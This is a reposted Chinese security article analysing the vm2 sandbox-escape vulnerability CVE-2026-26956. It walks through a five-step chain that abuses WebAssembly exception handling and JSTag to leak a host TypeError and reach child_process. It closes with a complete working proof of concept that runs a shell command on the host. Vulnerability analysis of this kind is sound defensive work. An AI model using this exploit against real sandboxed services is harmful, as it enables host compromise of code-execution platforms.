文章总结: 文档分析vm2沙箱库的CVE-2026-26956漏洞(CVSS9.8),该漏洞通过构造Symbol类型错误名触发WASM异常处理绕过vm2的源码转换防护,利用五步攻击链实现主机进程控制。文章指出vm2因架构缺陷(仅JS层防护无法覆盖V8新特性)已停止维护,建议受影响的在线代码平台、AI插件系统等业务迁移至更安全方案。 综合评分: 87 文章分类: 漏洞分析,WEB安全,安全工具,解决方案,应用安全
五步,逃出沙箱:vm2 的第九条裂缝
无语 无语
船山信安
2026年5月11日 12:11 广东
在小说阅读器读本章
去阅读
你把一段 JavaScript 扔进 vm2,心里想的是”这东西跑在一个隔离环境里,出了事也没关系”。大多数时候,这没问题。但大多数时候不等于永远。
2026 年 5 月 1 日,GitHub 安全公告页面上悄悄多了一条记录:CVE-2026-26956,CVSS 评分 9.8,影响 vm2 3.10.4 及以下所有版本。PoC 已经在同一天公开了。
这已经是 vm2 这个项目有记录的第九次重大沙箱逃逸漏洞。
vm2 是什么?
它是 npm 上一个月下载量超过 1600 万次的 Node.js 沙箱库,专门用来运行那些你不完全信任的代码——在线 IDE 的代码预览窗格、AI 助手的插件系统、企业内部的自动化脚本引擎、渗透测试工具的 Payload 执行模块,背后可能都有 vm2 的影子。
它的防护思路说起来不算复杂。vm2 会对传入沙箱的代码做一次源码到源码的转换,在每个 catch 语句里偷偷塞一段 handleException(),把所有抛出的错误拦截下来,换成沙箱内”消毒”过的安全对象。同时,它在宿主上下文和沙箱上下文之间架了一层 JavaScript Proxy,挡住那些敏感的系统操作。
可问题出在源码转换的逻辑上,它只能覆盖 JavaScript 层的代码控制流。一旦攻击者把目光转向更低一层的东西,这套机制就像关不紧的门,总有缝。
五步拿到了服务器
#
这次漏洞的触发条件说起来有点绕,但逻辑链条其实很清晰。
第一步,攻击者在沙箱里构造一个 JavaScript Error 对象,但把它的 name属性设成一个 Symbol。这本身不会报错。
第二步,Node.js 内部尝试格式化这个错误的堆栈信息,要把 error.name 转成字符串参与拼接,问题来了,Symbol 不能默认转字符串,强制转换直接抛出一个 TypeError。
注意,这个 TypeError 是主机域的,它经过了 V8 引擎,没经过 vm2 的那层转换器。
第三步,攻击者在沙箱里编译一个 WebAssembly 模块。这个模块导入了会触发上述 TypeError 的 JavaScript 函数,执行块用上了 try_table 指令配合 WebAssembly.JSTag来捕获异常。
##在提交1fbdeff743d48fb1416964777f5947057f6f1295中,##维护者从沙箱全局变量中移除了WebAssembly.JSTag。没有JSTag,##WASM模块将失去识别和捕获JavaScript异常的能力,从而消除了主要的逃逸向量。
lib/setup-sandbox.js (Vulnerable)Object.defineProperty(global.WebAssembly, 'JSTag', { value: WebAssembly.JSTag, configurable: true, writable: true});// lib/setup-sandbox.js (Patched - 1fbdeff7)// WebAssembly.JSTag is explicitly omitted from the guest context.delete global.WebAssembly.JSTag;
WASM 的 try_table是在 V8 引擎的 C++ 层工作的,它比 vm2 的 JS 层转换器低了整整一个层级。vm2 根本不知道有这回事,也就没办法往 WASM 的控制流里注入那段 handleException()。
所以,当那个主机域的 TypeError 被抛出来,WASM 模块的 try_table 直接在 C++ 层把它捞走了,还带着原始的主机对象,作为externref 类型返回给沙箱上下文。
vm2 的 Proxy 代理在这一步完全失效,就像安检扫过了金属探测器,但行李里藏的枪是从行李架上塞进去的。
第四步,沙箱代码拿到了那个原始的、未经过任何消毒的主机 TypeError 对象。攻击者通过 error.constructor.constructor这条链,够到了主机域的全局 Function 构造函数。
第五步,调用 new Function(‘return process’)()拿到主机进程对象,再调 .mainModule.require(‘child_process’).execSync(‘任意命令’)。
沙箱里跑的那段代码,在第五步已经可以往服务器上写文件、读密码、搭后门了。
整个过程不需要任何服务器端的配合,不需要 root 权限,不需要前置漏洞,PoC 码不到一百行。
架构缺陷
vm2 这次的逃逸路径在漏洞报告里被归类为 CWE-693(保护机制失效),但如果你仔细看安全公告的根因分析,会发现这不只是某一行代码的问题。
首先是 ES2024 新增的 SuppressedError类型,这个用于封装多个错误的机制是规范去年才引入的,vm2 的 handleException() 没有对它的 .error 和 .suppressed 属性做递归消毒。这条路理论上也能把主机对象带出来,不过比 WASM 这条路麻烦一点。
然后是 lib/bridge.js里那个代理桥。vm2 用它来做沙箱内外的数据传递,但这个桥没有阻断代码执行构造函数的跨域访问,而且桥上的内部处理方法可以被 util.inspect 枚举出来。这是一个额外的攻击面,平时没人注意。
但最根本的问题在于:源码转换这套架构,从根上就是有漏洞的。 vm2 的维护者自己也清楚这一点。他们在公告里写得很坦白:这个项目正式停止维护了。
源码转换只在 JS 层有效,而 Node.js/V8 每更新一个版本,就会多出一些新特性——WASM 异常处理、SuppressedError、显式资源管理……这些东西是 JS 层看不见的,但沙箱是能摸到的。vm2 每次打补丁,都是在追赶 V8 新版本冒出来的逃逸路径,这是一场永远跑不完的猫鼠游戏。
用 vm2 跑什么?
在线代码执行平台,你以为你在浏览器里跑的那段 Python 或 JavaScript,背后可能先被塞进一个 vm2 沙箱;AI 编程助手——Cursor、Copilot 这类工具的插件系统里,如果有用到 Node.js 沙箱的部分,也属于这个范畴;自动化工作流引擎——企业里那些允许用户自定义脚本的流程引擎;渗透测试框架——专门在隔离环境里跑攻击代码的工具。
一个月 1600 万次下载,覆盖的产品数量级可想而知。一个沙箱库的漏洞,影响的不是一段代码,而是一整类”让不可信代码跑在我服务器上”的业务模型。
影响过程
2023 年,CVE-2023-32314,9.8 分,prepareStackTrace 绕过,vm2 3.9.17 及以下。
2026 年,CVE-2026-22709,Promise 回调清理缺陷,又是 9.8 分。
2026 年 5 月,CVE-2026-26956,WASM 异常处理绕过,还是 9.8 分。
一个库被打了九年,年年补,年年漏,直到宣布停更。这大概就是那种”看起来便宜,用起来贵”的经典案例,省下了迁移到更安全方案的那点开发成本,迟早会在某个凌晨三点的告警里还回来。
POC
const { VM } = require("vm2");console.log("vm2:", require("vm2/package.json").version, "| node:", process.version);new VM().run(` const before = typeof process; const err = new Error("x"); err.name = Symbol(); const wasm = new Uint8Array([ 0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00, 0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00, 0x02,0x19,0x02, 0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00, 0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02, 0x03,0x02,0x01,0x01, 0x07,0x0f,0x01, 0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01, 0x0a,0x12,0x01,0x10,0x00, 0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b ]); const instance = new WebAssembly.Instance( new WebAssembly.Module(wasm), { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } } ); const hostError = instance.exports.catch_error(); const p = hostError.constructor.constructor("return process")(); const id = p.mainModule.require("child_process").execSync("id").toString().trim(); const log = p.mainModule.require("console").log; log(""); log("process before escape:", before); log("process after escape: ", typeof p); log("host pid: ", p.pid); log("host node version: ", p.version); log("RCE: ", id);`);
参考来源:
- GitHub 安全公告 GHSA-ffh4-j6h5-pg66(CVE-2026-26956):https://github.com/advisories/GHSA-FFH4-J6H5-PG66
- CVEReports 技术分析报告:https://cvereports.com/reports/CVE-2026-26956
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:船山信安 无语 无语《五步,逃出沙箱:vm2 的第九条裂缝》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论